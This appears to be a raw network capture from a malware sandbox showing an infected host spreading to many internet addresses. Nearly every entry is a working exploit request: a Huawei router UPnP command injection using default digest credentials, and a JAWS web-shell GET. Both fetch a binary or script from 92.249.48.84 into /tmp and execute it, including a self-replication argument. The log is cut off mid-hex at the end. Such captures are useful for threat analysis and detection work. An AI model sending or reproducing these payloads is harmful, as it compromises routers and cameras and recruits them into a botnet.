Oct 14, 2024 17:34:13.106090069 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.14	35766	135.208.219.81	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:13.106091976 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.14	48562	131.167.238.241	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:13.136647940 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.14	48762	41.43.52.119	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:13.136691093 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.14	57628	84.156.166.12	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:13.143553019 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.14	56710	51.128.35.28	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:13.168612957 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.14	37164	41.40.38.157	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:13.168659925 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.14	33586	41.22.70.86	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:13.200640917 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.14	48908	41.217.156.39	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:13.232623100 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.14	44564	82.30.22.185	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:13.232693911 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.14	41364	61.160.177.115	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:13.265144110 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.14	57256	41.121.12.129	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:13.265178919 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.14	53844	156.233.32.128	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:13.267854929 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.14	57136	197.211.2.169	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:13.297147036 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.14	52910	41.105.148.190	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:13.298137903 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.14	54434	41.18.249.50	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:13.328702927 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 